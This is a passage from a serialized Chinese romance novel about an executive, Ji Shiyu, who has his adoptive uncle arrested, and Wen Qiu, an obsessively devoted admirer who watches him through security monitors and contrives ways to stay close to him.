A市这两天有点热,办公室的窗户打开了通风,坐在屋内穿上稍薄一点的外套也不会冷。 闻湫推门进来,上身穿红白相配的棒球服,搭配深灰色直筒牛仔裤,窗外的斜阳落在他身上,黑色碎发呈现出镀了层金光的栗色。 “哥哥,你最近都不怎么回我消息了。” 他嗔怪着从那抹斜阳中走出来,暖光消失,黑发衬得皮肤更加冷白,五官精致到让人很难移开眼。 “工作忙,没时间看手机。”季时昱目不转睛盯着电脑屏幕。 闻湫拉了把椅子放到办公桌另一边,面对面和他坐在一起,两手托着下巴,眼巴巴地盯着他看。 开了窗户,没有心声打扰,季时昱能做到完全无视他炽热的视线,专心致志忙工作。 闻湫没打扰他,安安静静坐在对面看着,眼里只剩下季时昱,其余什么都容不下。 他们在办公室安静待了一个多小时,季时昱忙工作,闻湫负责看他。 新来的安秘书进来送文件,看到这一幕明显在门口迟疑了一瞬,而后走了过来,“季总,这里有份文件需要您签字。” 季时昱接过,翻看了几页比较重要的信息,拿起笔在右下角签字。 安秘书拿过签好字的文件离开,关门时尽量放轻声音。 季时昱又忙了半个小时,终于暂时闲了下来,“找我干什么?” 闻湫如小学生一样,将胳膊上下叠在一起,弯下腰,下巴抵着胳膊,歪着头问:“我想邀请你一起共度晚餐。” 季时昱眼皮微抬,拿手机看了眼最新消息,道:“晚上有应酬。” 闻湫:“那我能跟着吗?” “你跟着太扎眼了。”季时昱停顿一会儿,补充道:“不是纯应酬,有人会带乱七八糟的人去。” 他这样说,闻湫更不放心了,“就不能不去嘛?” “饭桌上没人乱来,他们吃过饭会转移到一家会所,我不会去。”季时昱淡声说道。 他也讨厌那样的场面,只不过有些应酬推不了,别人带谁去应酬不是他能管的。 闻湫大为失落,纠结片刻,说:“我给你当司机总行了吧。” 季时昱看着他。 闻湫辩解道:“我怕你喝醉,赵哥没我高更没我力气大,扶着你太费劲了,还不如把这种事交给我来做。” 季时昱:“我不喝酒。” 闻湫嘴角向下撇,眼中有很多不满,却不敢不听话,半张脸埋在衣袖中,低声委屈嚷嚷:“可我想跟着你嘛,我见过我哥应酬,有的人不仅带人过去,还想用那些人讨好合作伙伴。” 季时昱前两年不是没遇到过这种事,他拒绝的很利索,久而久之大家就不往他这边塞人了。 他脑中浮现出多年前遇到的糟心事,皱起眉,嗓音稍冷:“那是他们的事,和我无关。” “我知道,哥哥才不是那样的人,我只是不想那些人有任何接近或是讨好你的机会。”闻湫下巴埋在棒球服中,声音有些闷:“他们好恶心,也不怕得脏病。” 季时昱对此很赞同,“我们没必要去管他们怎么做,你以后在外人面前少说这种话。” 万一办公室里有别人,被有心人听到再传出去,说不定会有人专门针对闻湫,更有甚者会设计把人拉下水。 “我都懂,可你不是外人。” 闻湫抬起头,笑道:“哥哥,对我来说,你从来都不是外人,你是比我家里人还要亲近的存在。” 季时昱听他提起家里人,猛然想起前几天出差得知的一切。 或许是受这件事的影响,他对闻湫松口了。 “你晚上送我到了之后,自己找地方吃点东西,我出来前提前发消息给你,你到时候开车在门口等我。” 闻湫眼睛一亮,点头:“我明白了!” 季时昱戴着眼镜,清楚从他眼中看到了自己的身影,默不作声地移开视线,“没事不要随便进去找我,里面没几个好东西。” 闻湫:“嗯嗯,我都听你的。” 季时昱眸光微闪。 三两句妥协的软话就可以让闻湫满足,但愿这种状态能够一直这样保持下去。 傍晚。 闻湫接替赵屈开车送季时昱到应酬的酒店,等人下车后,他没有按照季时昱说的那样找个地方解决晚饭,而是将车开到附近的停车位停下,而后下车,站在酒店门口等了一会儿,手机响了一声,他看到上面的消息,才迈开脚步进了酒店。 酒店内。 经理带季时昱到达包间,打开房门,“季先生,请进。” 季时昱进去,里面已经有人落座,其中有五个都是被带进来的。 见他进来,有人笑着打招呼,有人特意走过来跟季时昱握手,还有人递来了烟。 季时昱拒了烟,走到他们给他留出的位置那儿坐下。 递烟的那位是刚从外地转到A市的老总,姓范,第一次和季时昱见面,不清楚季时昱的为人作风。这不,刚看人坐下,他就给身边的人使了个眼色。 季时昱两侧比较空,没有人离他太近。 服务员推着车来上菜,端着精美摆盘的菜品摆上桌,转盘外围一圈很快被摆满,接着又摆上了几瓶不错的名酒。 服务员打开了酒,正要帮他们倒,从外地来的范总说:“你出去吧,倒酒的事我们自己来。” 服务员点点头,推着车离开包间,动作放轻帮他们关上了门。 范总笑道:“小朱,你来倒酒。” 有人摆手笑着说不用,接着吩咐自己带来的人倒酒。 名为小朱的男人站起来,看着年纪不大,顶多二十岁左右,长相清秀,属于越看越舒服那类,可惜眼神里充满了想攀高枝的精明。 小朱倒完两杯酒,坐在他身旁的老总端了一杯,另一杯转着桌子到了季时昱面前,自作主张道:“小朱,你不是崇拜季总很久了,趁着今天敬季总一杯吧。” 在场的人都跟季时昱吃过饭,知道他不喜欢这些。年纪四十岁左右的林总听到此,不由挑眉,却没有打算出声提醒。 带范总来A市发展的人干笑了声,正要说话,却晚了一步。 小朱端着酒杯,腼腆开口:“季总,我敬您一杯。” 第36章 我在乖了 干嘛看那种人 季时昱认出小朱是上次在菜馆里感谢他解围的服务员, 因为说了太多话,闻湫专门找他抱怨了几句。 没想到才过去一周,他们会在这样的场合下见面。 他无视桌上的酒,淡声道:“开车来的, 不能喝酒。” 范总见他拒绝, 刚准备开口, 桌下的腿被老朋友踹了一脚,顿时意识到不对,想对季时昱说声抱歉,谁知身边的小朱并没有罢休。 小朱忐忑道:“季先生, 我上次就说过了, 我只是想好好感谢您, 没有其他目的。” 包间的其他人发现其中有戏, 暗自交换了几个眼神。范总犹豫了下,和朋友对上眼神, 两人默认了小朱的举动。 “是啊, 季总,小朱是我前两天在一家菜馆里带出来的,当时正被经理欺负, 我看他可怜就带他走了,他跟我念叨过您的名字,特别崇拜您, 我以为是他单方面崇拜呢,没想到您还跟小朱认识啊。”范总笑呵呵道, “这孩子可怜得很,您给他个机会,喝了他敬的酒吧。” “范总, 你这话就不对了,季总不能喝酒,你非要让小朱敬,这像什么样子。”林总皱着眉头,就差把‘你是无赖’四个字写在脸上了。 范总神色尴尬。 小朱窘迫低头,傻傻端着酒杯站在那里,包间里没人比他更尴尬。 季时昱当作没看到,偏头跟林总谈着生意上的事。 其他人见状,主动说起今天的目的。 小朱红着脸坐下,默默抬手擦了擦泪。 范总不敢得罪季时昱,又心疼小朱,桌下的手伸到小朱腿上拍了拍。 监控室。 闻湫懒散坐在椅子上,冷眼地盯着放大的监控画面,手里的塑料笔不自觉被他掰断,视线在五官清秀的男人脸上停留了整整一分钟,满眼讥讽。 这场应酬结束的很快,林总是在场除了季时昱以外,唯一没有带人来的存在。 范总的朋友提议转到会所再喝一场,林总笑着拒绝:“回去晚了,闺女儿子会生气,我可不敢跟我们家的孩子反着来。” 范总喝醉了,指着他笑:“这么大了还怕孩子,真没出息!” 周围气氛僵了一瞬,范总的朋友沉下脸,非常后悔把这个没情商的东西带来这里。 林总毫不在意,摆了摆手,“你们玩,我回去了。” “晚点有事,各位玩的开心。”季时昱没有废话,说罢便起身离开。 范总张开嘴,话还没说出口,就被朋友塞了一筷子的姜堵住嘴巴。 季时昱提前给闻湫发了消息,走出门,一眼看到了停在外面的车。 闻湫开着车窗,对他笑道:“哥哥,你没有喝酒吧。” “没有。”他走到后座,开车门坐进去,随后关上,问:“晚饭吃了什么?” 闻湫关了车窗,回答的没有任何犹豫,“前面街口有家小吃店,随便吃了点。” 【在监控室看了快两个小时,哪有时间吃饭。】 季时昱眼底没有波澜,“好吃吗?” 闻湫:“好吃啊,还不小心吃撑了。” 【好饿,早知道去监控室前买点零食了。】 季时昱看他自作自受的结果,轻笑了声。 “哥哥,你笑什么啊?”闻湫通过后视镜看他一眼,酸溜溜道:“遇到开心的事了吗?” 【为什么要笑?哥哥在想谁?难道是那个小绿茶?可恶,都跟别人走了还跑到哥哥面前装可怜,哥哥也真是的,干嘛看那种人。】 【哪有住院的妹妹啊,我都查了,明明是他赌博把家底儿输光,他爸气得把他赶出家门了。】 【别以为我不知道他那点小心思,下次再敢出现在哥哥面前,我一定给他点教训尝尝。】 季时昱对上后视镜里投来的眼神,说:“你专心开车,别乱想。” 闻湫:“哦。” 【到底为什么笑啊。】 【不想哥哥对别人笑,好想把他的笑容藏起来。】 闻湫又开始胡思乱想了。 季时昱真不知道该怎么把他的思想带回正途了。 晚上十点半,车抵达一幢别墅门前。 季时昱下车,转头嘱咐道:“回去开车慢点儿。” 闻湫眼巴巴望着他,面露难色。 季时昱拧眉,疑惑问:“怎么了?” “哥哥,车没油了。”闻湫专门让出一些,确定季时昱能够看到亮起的的油表灯,“跑不到我住的地方了,附近好像没有加油站。” 季时昱看到油表灯,一时无语。 这个状态明显是回来之前就提示没油了,闻湫愣是一声不吭,把最后能跑的几十公里也用了。 一定是故意的。 闻湫似乎猜出他在想什么,无措道:“我本来想去加油的,接了个电话忘干净了。” 季时昱安静看着他。 闻湫红了眼眶,自责又担忧:“这里不好打车,怎么办啊,我今晚要睡大街吗?” “把车停到边上,我明天找人来处理,你晚上住我这儿。” 季时昱撂下这句话,走到门口去开门。 闻湫盯着他的身影,把车在门口停好,开车门下去,嘴角微扬,声音依旧自责:“对不起,都怪我太粗心了。” 别墅包含了车库,但里面的车在前天晚上被季忱借走了,要不然可以让闻湫开那辆车回去。 别墅里有好几间卧室,并且都铺了被褥,每天有人来打扫,直接就能住进来。唯一不足的是,这里没有闻湫的换洗衣服。 季时昱让他进来住就不错了,不管他有没有换洗衣物。 闻湫也没有开口要,走进距离季时昱最近的一间客房,里面有单独的洗手间。 季时昱见他进了那间房,眉头微不可察地皱了下,“你换一间房住。” “为什么?”闻湫眼尾微垂,眼里参杂了几分受伤,道:“你嫌弃我离你那么近,是不是?” 季时昱抿唇,摇头:“……没有,你住吧。” 他失眠时偶尔会在隔壁住一晚,洗手间里有他的日常用品,倒没有见不得人的,只是会不习惯。 他回了房间,去浴室冲过澡就睡了。 闻湫如愿以偿住在了隔壁,他原本以为季时昱嫌他离太近了,进了卫生间才知晓是怎么回事儿。 里面弥漫着一股很熟悉的清香,是季时昱身上经常出现的味道。 这股淡香勾得他心痒,身体莫名燥热起来。 闻湫站在卫生间门前,里面是干湿分离的,他浓稠晦暗的眸光在用过的牙刷、毛巾、包括日常对洗护用品扫过去,最终停留在架子上叠起来的白色浴袍上。 他拿起浴袍,低头闻了下。 浴袍是洗干净的,带着和浴室里相似的味道。 早上。 季时昱不去公司,睡到上午九点多才起床,他拉开窗帘往下瞅了眼。 昨天没油的车已经拖走了,外面的车位上停了一辆黑色轿车。 他关了窗户,去卫生间洗漱了一下,换身衣服出门,意外闻到了诱人的香味儿,厨房里还传来了切菜的声音。 季时昱猜到了怎么回事儿,去沙发上坐着,看了会儿新闻。 闻湫以前在国外和季时昱共度过双休,知道他没事的时候会在几点起床,所以掌握了做饭的大概时间。 季时昱看了快半个小时的财经新闻,闻湫端着菜从厨房出来了。 “哥哥,你起了啊。”闻湫毫不意外,道:“他们早上把车钥匙放到门口的箱子里了,我开车去外面买了点菜,都是按照你口味做的。” 季时昱走到餐桌前坐下,“怎么不开车回去?” 闻湫脱下围裙,“那是你的车,没有你的允许,我不敢轻易开走的。” 谎言,全是谎言。 季时昱看到这桌子的菜,没拆穿他,接过他递来的筷子,“我晚上要跟朋友吃饭,等会儿先送你回去。” 闻湫坐下,瞳仁浓黑像化不开的墨,紧紧盯着他,声音不带任何感情:“你要和谁吃饭?” 季时昱看他一眼。 闻湫眨了眨眸子,软着声音说:“我不能跟着吗?” “不能。”季时昱慢条斯理地吃饭。 闻湫坐在那儿没动筷子,只是眼神特别可怜。 季时昱想起他昨晚没吃饭,说:“吃饭,别让我说第二遍。” 闻湫拿起筷子,乖巧吃饭,没有再提跟着一起去的事。 他们吃过饭,季时昱送闻湫回去,闻湫问他明天有没有时间。 “明天回老宅处理点事,你乖一点,等我有时间了再和你出门。” 季时昱前阵子和老爷子老太太闹矛盾后还没回去过,前天晚上,老爷子打电话让他周末回家。 “我在乖了,你不要生气。”闻湫低头掰着手指。 【不想装了,直接带哥哥去个没人的地方过日子算了,谁都别想找到我们。】 对于他的这类发言,季时昱向来左耳进右耳出。 他开车送闻湫回去,到了地方,后者摸着安全带卡扣没有动。 “下周可以见面吗?”闻湫想确定一下时间。 季时昱将手搭在方向盘上,“再说。” 没有得到确切的答案,闻湫下车时满眼阴郁,只不过垂着眼皮,所有情绪都被他敛藏起来。 【这是最后一次,下次哥哥再这样敷衍我,我就……】 开了车门,季时昱听不到后面的话。 就什么呢? 他猜不出来,只确定闻湫不敢轻举妄动。 闻湫关车门前对他笑道:“我上去了,哥哥再见。” 季时昱颔首。 车门关上,闻湫转过身往楼里走,脸色阴沉,所有黑暗且见不得人的心思在心头环绕,眸底闪过一丝痛苦的纠结,很快就被汹涌的风暴吞噬,幽深的深眸中再看不出丝毫犹豫。 季时昱完全不知闻湫的变化,打灯变道,朝着老宅的方向开去。 他许久没回老宅,进屋发现季帆嵘又蹲在老爷子身旁伺候,尹安玥和老太太坐在一起商量事情。 这一幕勾起了上次不愉快的回忆。 他确定,老爷子喊他回来吃这顿饭,是为了让他和季帆嵘缓一下关系。 季时昱和二老打过招呼,无视季帆嵘夫妇,依旧坐在了单人沙发上。 季帆嵘脸色难看。 他们当下所待的位置,与上次争吵时一模一样只不过季帆嵘上次站在沙发后面给老爷子捏肩,这次蹲在老爷子身前捏腿。 很讽刺,也很丢脸。 尹安玥更尴尬,她上回不明真相把二老和季时昱全指责了一遍,现在有点无颜面对季时昱。 其实这也是那件事以后,她第一次回老宅陪二老,来之前忐忑了好久,生怕被赶出季家。 上次是气昏了头,回家后有了离婚的念头,后来仔细想了想,发现还是赖在季家比较好,起码季家的地位摆在那儿。 嫁给一个和季家没有血缘关系的养子又如何,就凭老太太对季帆嵘的态度,别人不敢轻易给她脸色看,去哪儿都风光着。这样比起来,那点窝囊气根本不算什么。 尴尬的何止是他们夫妇二人,老爷子和老太太也有点难堪。 尤其是老爷子,一直教育季时昱遵纪守法,不得触碰有为法律的事,老了却开始包庇触碰法律的养子。这要是换作年轻时候的他,早就亲手把人送进去了。 季时昱倒不觉尴尬,只是想到老爷子今天的目的,心中有些不舒服。 开饭之前,老爷子没有说话。 到了饭桌上,在林管家拿了瓶酒放到桌上后,老爷子提起了上次的事。 老爷子声音微沉:“时昱,帆嵘已经知道错了,也在改了,你给他一次机会,他往后肯定不敢再犯,我会管着他,绝不给他接触到那些事的机会。” 他气自己心软,但是没办法,已经养出感情了,舍不得真让孩子进去受苦。 老爷子看了季帆嵘一眼,后者点头,讪笑道:“是啊,咱们都是一家人,何必闹那么难看,我知道以前做错了事,现在已经改了,保证绝不再犯。” 尹安玥倒了两杯白酒,一杯放到季帆嵘面前,另一杯推到季时昱那边。 老爷子坐在前面的主位,季时昱在他右侧,左侧是老太太、季帆嵘和尹安玥依次往后。 林管家站在季时昱身后,将这个局势看在眼里,不由在心底叹口气。 季帆嵘端起酒,站了起来,郑重其事道:“时昱,当初是我不对,我今天亲自敬你一杯,喝了这杯酒,以前的事就当翻篇了,怎么样?” 按道理来讲,叔叔给侄子敬酒这种事是不合规矩的,季帆嵘劝了自己许多次才肯放下脸面敬酒。 季时昱靠着椅子,没有动,筷子摆在餐盘中,不曾拿起来过。 他抬起眼皮,目光从老爷子身上慢慢转移到到老太太那儿,再到季帆嵘、尹安玥,眸底的寒意愈发没有掩饰。 老爷子凑过来,低声相劝:“喝了吧,别让你叔叔脸上太难看。” 季时昱突然觉得很没有意思。 他有件事从一开始就做错了,他不该放任季帆嵘这样待在家里。 在季帆嵘待在家里照顾二老的时候,季帆嵘有足够的时间语言催眠二老,让二老对他心软的程度放到最大。 这样的场面,他反倒像这个家的外人。 季时昱抬腕看了眼时间,肩膀后被一只手轻轻拍了下,他回头看到身旁的林管家,心中的烦闷减少,转过头面向站着的季帆嵘,冷声说:“时间快到了,你有什么话尽快和爷爷说出来。” 季帆嵘端着酒有点懵,没听懂他的话。 季老爷子皱眉,很快琢磨透这句话,眼中多了几分凌厉,“时昱,你不会……” 话未说完,门口走来一个人,表明身份之后,问:“季帆嵘在吗?” 除季时昱以外的所有人朝门口看去,看到了两个穿着警服的男人。 季帆嵘瞬间脸色惨白,吓得没能端稳手里的酒杯,玻璃杯子砸在桌上,里面刺鼻的白酒尽数洒在了桌上。 季老爷子沉着脸坐在主位上,没有动,更没说话。老太太站起了身,询问警察有什么事。 警察说了来的目的。 尹安玥慌忙解释:“警察同志,您是不是搞错了,他不可能犯罪的,肯定是举报的人瞎说的!” 警察不管这些,他们只需要把人带走,后续进行相关调查。 老爷子给老太太使了个眼色,后者按住了尹安玥,让她不要着急。 季帆嵘知道现在无论说什么都要跟着走一趟,深吸了一口气,颤巍巍地对老爷子说:“爸,你一定要替我洗清冤屈啊。” 他看到老爷子点了头,才三步一回头的跟警察离开。 围观这一切的林管家松了口气,怪不得少爷回来时叮嘱他不让人守在门口,原来早就做好了打算。 警察带人走了,老爷子吩咐林管家尽快找律师,转头又叮嘱尹安玥放宽心,后续需要配合调查的地方不要乱说。 全部叮嘱过后,季老爷子看向了季时昱,摇头叹气道:“何必呢,今天的事会让多少人看季家的笑话,你有想过吗?” “我公事公办,谁会笑话?”季时昱不为所动。 季老爷子:“你把你叔叔送进去了,就不怕摊上个冷血的称号!” “他不是我亲叔叔,我和他没有血缘关系。”季时昱起身,看了眼迟迟未说话的老太太,确定她的情绪没问题,淡声说:“我有事先走了,下次有时间了再回来陪你们吃饭。” 他说罢,不顾老爷子的劝阻就离开了,老爷子大喊着让其他人拦住他。别墅里,不管是林管家还是其他佣人,都仿佛没听到似的。 那一刻,老爷子才恍然意识到自己老了,话也不顶用了。 季时昱提前跟二老打过招呼,今天的局面并没有让他们太过意外,但孙子坚持要把季帆嵘送进去的决心还是让人心惊。 季帆嵘被逮捕的事很快就在圈内传开了,大家不由感到唏嘘,没想到季时昱真会这么心狠,好歹生活了那么多年,居然丝毫情面都不给。这事儿加深了他们对季时昱的印象,本就不敢招惹他的人连句坏话都不敢说了。 岳裎得到消息,第一时间联系了季时昱,问他传言是否真假。 “是真的,这次没人能保得住他。” 季时昱坐在车里剥开糖纸,递到嘴边,咬着粘了白色糖分的糖果含在口中,带着轻微水果清香的淡淡甜味在口中蔓延,缓解了中午在老宅积下的烦躁。 这些糖是闻湫放在车里的,前阵子无意看到他吃了颗糖,专门送了他一盒包装非常漂亮的糖果,今天开车出来,发现这辆车里也被塞了糖。 他睨了眼漂亮透光的彩色包装纸,觉得口中意外符合口味的糖果是闻湫亲手做的。 他看着糖纸微微怔神,贴在耳畔的手机响起岳裎的声音:“祸害了你这么多年,可算是要有个结果了,你外公那边知道这件事吗?” 季时昱应了声,“提前和我表哥打了声招呼。” “那行,闫家知道就好,我这边有事,先挂了。”岳裎挂断了电话。 季时昱收起手机,很快又接到了闫霖的电话。 “你给的证据很足,这次不管谁出面都保不住他。”闫霖叹道:“没想到季老爷子这些年帮他垫了那么多钱。” 季时昱清楚那些金额,眼底寒意更甚。 闫霖:“季老爷子刚才给我爸打电话了,不过我爸没接,看老爷子那势头,说不定晚上会来闫家。” 季时昱摘掉眼镜,按了按太阳穴,问:“外公呢?他怎么样?” 闫霖:“爷爷昨天去了奶奶老家那边,看样子打算在那边住一段时间。” 季时昱和闫霖聊了快十分钟,随后挂断电话,开车回去了。 为了避免老爷子打电话劝他收手,干脆将手机关机,进书房处理了一些事情。 他手机关机,老爷子联系不上他,同样联系不上他的还有闻湫。 闻湫刚听到风声,立即给季时昱打了电话,打了四五个都没有人接听。季时昱双休,今天不在公司,他联不系上人,不知道季时昱待在哪里,于是联系了关秘书,关秘书和他知道的一样多。 闻湫想起通讯录里有林管家的号码,又给林管家打了过去,林管家只说季时昱开车离开了老宅,具体去了哪儿却不知道。 直到此刻,闻湫才认清了现实。 假如有一天,季时昱不想再见到他,他真的会找不到人。 闻湫用力握着手机,冷冷盯着面前门锁紧闭的别墅,挂了林管家的电话,将手机顺着打开的车窗扔进车里。 上次爬墙,还是元宵节之前被抓回家的时候,他家里的墙没那么高,上面更没有长满荆棘的藤条。 他站在门口纠结了一会儿,选择了爬四米高的铁门。 闻湫动身之前,看到了铁门右上角安装的监控,他盯着看了片刻,轻啧一声,放弃了爬门的想法。 第37章 我好难受 哥哥,我没办法放弃你 季时昱从书房出来时已经是晚上九点半, 他将手机开机,上面弹出了几十个未接电话和微信消息。 一小部分是老太太的电话,老爷子没有联系他,另外三十多个未接电话全部来自于闻湫, 相比之下, 微信里只躺了十条消息。 季时昱划动着未接电话, 满屏红色的号码入眼,一直划到黑色部分,期间没有夹杂着任何来自于别人的来电。 他不清楚闻湫现在是什么情况,视线落在那串数字上看了一会儿, 手指落下, 手机弹出了正在拨打电话的页面。 没多久, 闻湫接通了。 “哥哥。” 和他想象中的反应不一样, 闻湫的声音比较冷静。 “下午把手机关机了,你找我有事?”季时昱将手机放到床上, 按了下免提。 闻湫:“没事, 只是想见见你。” 季时昱察觉到闻湫有点不对劲,不等他多想,听到闻湫问:“你吃饭了吗。” “没有。”季时昱没有点私厨, 更没有找人来做饭,他没有胃口,什么都吃不下去。 闻湫一语道破他今天的状态, “你中午也没吃吧。” 季时昱沉默。 “哥哥,这样是不行的, ”隔着手机,闻湫的声音变得有些模糊,像罩了一层塑料, 听得很不真切,“你在哪儿,我买点菜去找你。” 季时昱:“不用,吃不下。” “不吃饭对身体不好。”闻湫说,“我做好饭就回来,绝不多留,你不相信我吗?还是因为我昨天意外睡在你家里了,你觉得我又在耍小聪明?” 不等季时昱吭声,闻湫又说话了,声音有点颤抖,“你不信我是正确的,毕竟我那么坏,连我爸妈都不相信我,没有人会信我的话。” “说多少次了,别乱想,”季时昱皱起眉,对他这种行为感到无可奈何,“我不想吃东西,和我信不信任你没有任何关系。” 手机里,闻湫泄露了一丝哭腔,“可我现在想见到你,特别特别想,你都不知道我下午有多担心你,我好怕季帆嵘□□你,好怕有人对你做什么事。” “哥哥,你告诉我地址好不好,不吃东西真的不可以,就这一次,你下次可以再换个地方住,我找不到你的。” “……” “你又不理我了,你每次都这样,我好慌啊,心里好不安,我怕有一天你再也不理我了,我每天晚上想你想得快疯了。” “哥哥……” 季时昱打断他,给了他一个地址,说:“别告诉其他人我在这儿。” 闻湫:“嗯,我不会告诉别人的。” 季时昱放下手机,躺在床上,手臂搭在眼部休息了一会儿。 A市最繁华的地带内,车辆拥堵不通,闻湫提前看到导航的提示,在前面调头换了条道。 他眼睫微湿,眼眶周围泛着红,刚才哭了一场,眼睛有点干涩,脸上没有丝毫难过,唯有眼底深处偏激发狂的执拗让人心惊,好在车里只有他一个人,不会有外人看到这一幕。 早在一个月前,他就让人盯紧了季帆嵘,只要季帆嵘有什么计划,他会第一时间知道。他当然也可以找人盯着季时昱,但他不敢那么做,也不想那样。 闻湫极力压制着自己的欲望,内心被锁链扣着的猛兽疯狂挣扎,松动的锁链似乎控制不了多久了。 深夜。 临近十一点,闻湫敲响了纯黑色带着指纹锁的入户门,紧接着又去按门铃。 没过多久,门开了。 季时昱穿了身深灰色睡衣,衬得皮肤白得发光,侧颈有几道抓痕,看着像是新抓上去的。 “进来。” 闻湫进屋换鞋,提着食材往里面走,眼睛死死盯着季时昱脖子上的痕迹,不自觉磨了下后槽牙,他深呼吸,攥着塑料袋的手指不自觉用力,手臂上的青筋慢慢凸起。 “哥哥,你脖子上的痕迹是怎么回事?” 季时昱下意识摸了摸脖子,“换了一件新睡衣,对布料有点过敏,已经抹过药了。” 闻湫眸底的风暴逐渐褪去,笑道:“原来是这样,你也太不小心了。” 他提着食材进了厨房,想起什么似的,探出头问:“睡衣你扔了吗?” “扔了。”季时昱感觉脖子又有点痒了,伸手挠了两下。 闻湫没问扔在了哪个垃圾桶,转身进厨房做饭了,他怕季时昱太久不吃饭对身体造成伤害,做了几道没那么浪费时间的家常菜。 季时昱一开始没多少胃口,随便尝一口被勾起了食欲,低头吃了口米饭。 闻湫坐在他对面没动筷子,专心致志地看他吃饭。 闻湫的目光比其他任何时候都要灼热,好似看到了世间最好的……食物。 季时昱眉头微皱,提醒他,“别一直看我,你不饿?” 闻湫托着腮点头,“饿呀,但我想先看你吃。” 季时昱停了筷子,脑中浮现出一个不太好的想法,盯着桌上的菜,吐出一句惊人的话。 “你下药了?” 闻湫眼眸微微睁大,吃惊道:“哥哥,你好聪明啊,这都能猜得到。” 季时昱抬眼,不带任何表情看着他。 闻湫笑了,拿起筷子夹了块金黄的炒鸡蛋送进嘴里,满眼雀跃,“怎么可能会对你下药呢,哥哥把我想的太坏了。” “下次别开玩笑。”季时昱看着桌上的菜,没有再动筷子。 “哥哥,你别这么防着我,就算给我一百个胆子,我也不敢对你怎么样。”闻湫夹了其他菜放进碗中,笑道:“我们一起吃。” 季时昱吃得心不在焉。 饭后,闻湫收拾碗筷放到了洗碗机,等他出来,发现季时昱已经回屋休息了。 他眼神微眯,仿佛被摸了头的狗狗,心情愉悦极了。 没有赶他走,岂不是说明他可以住下? 闻湫没急着去卧室,而是去翻看屋里的垃圾桶,并未找到那件让季时昱过敏的衣服。 扔哪了呢? 他转悠了一会儿,什么也没找到。 屋内。 季时昱坐在落地窗前,茶几桌上的笔记本电脑开着,上面显示着和别人的聊天框,对方发来了一条又一条消息,上面全是季帆嵘的罪行。 早已过了夜间十二点,他看到了老爷子打来的电话,许是想到他会在晚上开机,专门守在这时候尝试联系他。 老爷子很清楚,这件事只要闫家收手,只要季时昱不追究,他有办法让季帆嵘所判的年份降到最低。 季帆嵘涉及的金额巨大,进去是板上钉钉的事了,改变不了,只能尽量让季帆嵘在里面少受几年罪。 季时昱没接电话,起身去床头柜里翻出一个取卡针,把主号卡拆卸出来,只留一张副卡用着。岳裎他们知道这个号,关秘书和司机也知道,至于工作上的事情,那些人会第一时间联系关秘书。 主卡拆了下来,手机还没有彻底安静,毕竟微信还登陆在手机里。 为了图个清净,他干脆把微信卸载了。 这次终于安静了。 闻湫躺在季时昱隔壁的卧室里,面朝着季时昱房间的方向,心里不可说的想法像根嫩芽一般,仅仅一晚上长成了难以拔除的大树。 早上。 季时昱要参加婚宴,换完衣服出门,看到桌上做好的早餐,早餐还热着,但昨夜睡在这里的人已经走了。 他微信卸了,猜想闻湫应该发过消息。 他坐下随便吃了些垫肚子,下楼看见外面停了辆黑色商务车。 季时昱坐进车里,拿着手机以短信形式回复闫霖的消息。 司机开车去往婚宴的酒店。 没有人发现,在黑色车辆后的几十米开外,一直有辆车跟着他们,从住宅区到市区再到酒店,每一次都巧妙的藏在其他车辆后面。 季时昱没睡好,眼皮跳个不停,两只眼换着跳,可见昨晚睡得有多差。 今天这场婚宴是合作商邀他而来的,老爷子不知道,他到了酒店,看到了几个比较眼熟的人。 季家的事只在豪门圈子里传开了,许多人暂时不知道,今天到场的熟人不喜欢到处乱说。 季时昱坐在婚宴主人安排的位置上,遇到了上次饭局的林总。 林总和季时昱身边的人低声说了几句话,成功和那个人换了位置。 “季总,幸亏咱们上次没和他们去那家私人会所,我听说当天晚上发生了点事儿,那一屋子人连着好几天被喊走配合调查。”林总放低声音,以免其他人听到。 “配合调查?”季时昱倒是没听到丝毫风声。 林总瞥了眼桌上的其他人,说:“那个从外地来的范总,身上带了点…毒品,他当初就是在外省被其他人发现了,留在那里害怕才来了A市,发现过去一个月了都没事,那天晚上就把东西拿出来了。” 季时昱眼神微凉,“有谁碰了吗?” 林总:“范总劝其他人试试,他们都没碰,倒是有两个被带过去的人碰了点,据说量小,所以没事。” 季时昱见范总第一面就觉得不适,事实证明有些第一印象还是很准的。 “谁举报的?”他更好奇这个问题。 林总笑了声,说:“是那天想敬酒的小朱,他可立了大功呢。” 季时昱轻轻颔首。 婚宴结束,季时昱一滴酒没有碰。 他下午去了趟闫家,在闫家待到晚上也没出来,不知道附近停了一辆车,车里的人等他等得有些焦虑。 闫老爷子不在,闫舅舅让季时昱留下来吃顿饭再走。 季时昱和闫霖坐在一起,对面是表姐。 闫老爷子不在,闫舅舅也没有坐主位,和舅妈表姐一起坐在了对面,吃饭时分析起季帆嵘的情况有多么严重,顺便说了季老爷子今天中午来拜访的事。 季时昱默默听着,没有插话。 饭后,闫舅舅看时间太晚了,想让季时昱留下来住一晚上。 季时昱摇头,“不了,我回去要办点事。” 闫舅舅:“那行,闫霖,你送送时昱。” 季时昱婉拒:“不用了。” 闫霖起身,拿起外套披在身上,“送到门口而已,走吧。” 闫家的院子比较大,院里种满了许多花草,都是舅妈亲自照看的,这个季节已然开出了许多翠绿的嫩芽,有些开花比较早的鲜花已经完全绽放,可惜在黑夜里看不太清楚。 闫霖送季时昱到了闫家门口,看了眼门前亮着灯的商务车,道:“爷爷让我告诉你,这件事别心软,不管季老那边如何劝说,都不要心软。” 季时昱点头:“我知道。” 闫霖:“季帆嵘这样的人一旦出来了,很可能会报复你,当初就敢抱着那么小的你和人贩子交易,真给他机会出来了,后果不堪设想。” 那件事是季家的禁忌,同样是闫家所有人心里的一根刺,只要季帆嵘还能潇洒一天,闫老爷子就不放心。 “我都懂,你不用担心。”季时昱从没打算在季帆嵘的事情上心软。 事发到现在,不管是季茵还是季忱都不曾联系他,显然是做好了准备。 闫霖见他神情坚决,稍微松了口气,“你明白就行,快上车吧,晚上有点冷。” 季时昱应了声,走到车旁,拉开车门坐进去。 车门关上,车窗下移,他淡声说:“走了。” 闫霖点点头,亲眼看着他的车离开,刚转过身,发现远处照过来一道光,一辆车从门口经过,没来得及看清那辆车的车牌号,那辆车就开远了。 他顿了一会儿,拿手机发了个短信。 车上。 季时昱魂不守舍地垂目沉思。 叮—— 他拿出手机,看到闫霖的短信。 【好像有辆车在跟踪你,你注意一下。】 闫家住的大院位置比较特殊,那里的路不会通向哪里,附近住的都是邻居,平常没有陌生的车辆在周围转悠。 